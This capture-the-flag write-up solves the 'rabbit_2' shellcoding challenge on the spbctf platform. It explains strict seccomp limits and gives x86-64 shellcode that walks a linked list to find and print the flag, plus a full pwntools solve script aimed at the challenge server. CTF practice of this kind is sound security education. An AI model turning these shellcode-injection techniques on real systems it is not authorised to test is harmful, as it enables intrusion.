pwn4 rabbit_2 (shellcoding)
pwn4 rabbit_2 (shellcoding)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: linked_list_walk, rbp_relative_addressing, seccomp_strict_bypass_by_design, write_exit_only_shellcode
Summary
Task: PIE C++ shellcoding challenge that runs attacker shellcode under SECCOMP_MODE_STRICT, with the flag pre-loaded into one of 100 mmap'd linked-list nodes. Solution: rbp-relative shellcode that walks the singly linked list (syscall-free traversal), matches the SPBCTF node, and exfiltrates it with write+exit only — the only syscalls strict seccomp permits.
pwn4 rabbit_2 (shellcoding) — pwn_spbctf
Description
Here is rabbit
Author: Artur Khanov (@awengar). Category Pwn, tier pwn4 "shellcoding". Remote:
nc 109.233.56.90 11618. Platform: pwn.spbctf.ru.
This is part 2 of the "rabbit in forest" series. It is identical to rabbit_1
(see writeup 20260618_pwn_spbctf_pwn4_rabbit_1 for the full Hide() / linked-list
mechanic) except it adds STRICT SECCOMP before running the shellcode. This writeup
focuses only on the seccomp difference; the shared node/linked-list details live in the
rabbit_1 writeup.
Goal: run shellcode that finds the flag (already in process memory) and writes it back.
Analysis
What is identical to rabbit_1
main -> f1 @0x1361 (PIE, C++) does:
page = mmap(0, 0x1000, RW), thenmemset(page, 0xc3, 0x3e8)(fills withret).- Prints two prompts, then
fgets(page, 0x3e8, stdin)reads your shellcode (<= 0x3e7bytes, newline-free —fgetsstops at\n). head = Hide(100): allocates 100 mmap'd0x48-byte nodes as a singly linked list. Node layout:node[0]= prev pointer,node[8 .. 0x28)= 32 data bytes. One random node holds the flag stringSPBCTF{...}(loaded bygetFlagviafreadofflag.txt, 0x20 bytes); the rest hold random data.headis saved at f1's[rbp-0x8].mprotect(page, 0x1000, RX=5)— makes the shellcode page executable.call page— invokes the shellcode. On entryrax = pageand, crucially,rbpis unchanged from f1, so the head pointer is reachable at[rbp-8].
The one difference: strict seccomp (step between mprotect and call)
prctl(0x16, 1) == prctl(PR_SET_SECCOMP=22, SECCOMP_MODE_STRICT=1)
SECCOMP_MODE_STRICT is the most restrictive seccomp mode. After this call the
process may invoke only:
read(0)write(1)exit(60)/_exitrt_sigreturn(15)
Any other syscall → immediate SIGKILL. No open, no mmap, no execve, no
rt_sigaction, no mprotect.
Two consequences that shape the solution:
- No need for
open/readofflag.txt. The program already calledgetFlag, so the flag is already in memory, sitting in one of the linked-list nodes. The shellcode only has to locate and write it —write+exitare both allowed. - You cannot recover from a fault. Installing a
SIGSEGVhandler needsrt_sigaction, which is forbidden in strict mode. So a blind memory scan (just sweeping address space looking forSPBCTF{) is dangerous: the first unmapped page you touch is an unrecoverableSIGSEGV→ kill. The linked-list walk is the correct approach because every node pointer is valid and the traversal needs no syscalls at all — it can never trip seccomp and never faults.
Solution
Strategy: rbp-relative head fetch + syscall-free list walk + write/exit exfil.
rbx = [rbp-8]— head node (rbp is still f1's frame aftercall rax).- Loop: if
rbx == 0stop. Compare the 6 bytes atnode+8against"SPBCTF":cmp dword [rbx+8], 0x43425053("SPBC"little-endian)cmp word [rbx+12], 0x4654("TF"little-endian)
- On match:
write(1, node+8, 0x20)thenexit(60). - Otherwise
rbx = [rbx](follow prev pointer) and continue.
The walk dereferences only valid node pointers, so it never faults and never issues a forbidden syscall — fully strict-seccomp-safe.
Shellcode (74 bytes, newline-free)
asm read-only • copy allowedmov rbx, [rbp-8] ; rbx = head loop_node: test rbx, rbx jz done mov eax, dword ptr [rbx+8] ; 'S''P''B''C' cmp eax, 0x43425053 ; "SPBC" little-endian jne next movzx eax, word ptr [rbx+12] ; 'T''F' cmp eax, 0x4654 ; "TF" little-endian je found next: mov rbx, [rbx] ; node = prev jmp loop_node found: mov rax, 1 ; write mov rdi, 1 lea rsi, [rbx+8] mov rdx, 0x20 syscall done: mov rax, 60 ; exit xor rdi, rdi syscall
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 import sys, time from keystone import Ks, KS_ARCH_X86, KS_MODE_64 from pwn import remote, context context.log_level = 'info' HOST, PORT = "109.233.56.90", 11618 # rbp at entry == f1's rbp. head = [rbp-8]. # Walk linked list via node = [node] (prev ptr at offset 0). # Compare 6 bytes at node+8 to "SPBCTF". On match: write(1,node+8,0x20); exit(60). asm_src = r""" mov rbx, [rbp-8] ; rbx = head loop_node: test rbx, rbx jz done mov eax, dword ptr [rbx+8] ; 'S''P''B''C' cmp eax, 0x43425053 ; "SPBC" little-endian jne next movzx eax, word ptr [rbx+12] ; 'T''F' cmp eax, 0x4654 ; "TF" little-endian je found next: mov rbx, [rbx] ; node = prev jmp loop_node found: mov rax, 1 ; write mov rdi, 1 lea rsi, [rbx+8] mov rdx, 0x20 syscall done: mov rax, 60 ; exit xor rdi, rdi syscall """ def strip_comments(src): # keystone-engine on arm64 does NOT support ';' comments -> strip them out = [] for ln in src.splitlines(): if ';' in ln: ln = ln[:ln.index(';')] out.append(ln) return "\n".join(out) ks = Ks(KS_ARCH_X86, KS_MODE_64) code, _ = ks.asm(strip_comments(asm_src)) sc = bytes(code) assert b'\n' not in sc, "shellcode contains newline byte 0x0a" print(f"[*] shellcode len = {len(sc)}, no newline") def attempt(): io = remote(HOST, PORT) io.recvuntil(b"\n", timeout=10) # first prompt io.sendline(sc) # fgets stops at newline data = io.recvall(timeout=10) io.close() return data for _ in range(10): data = attempt() if b"SPBCTF{" in data: idx = data.index(b"SPBCTF{") end = data.index(b"}", idx) print("[+] FLAG:", data[idx:end+1].decode()) sys.exit(0) time.sleep(35)
Worked on the first attempt.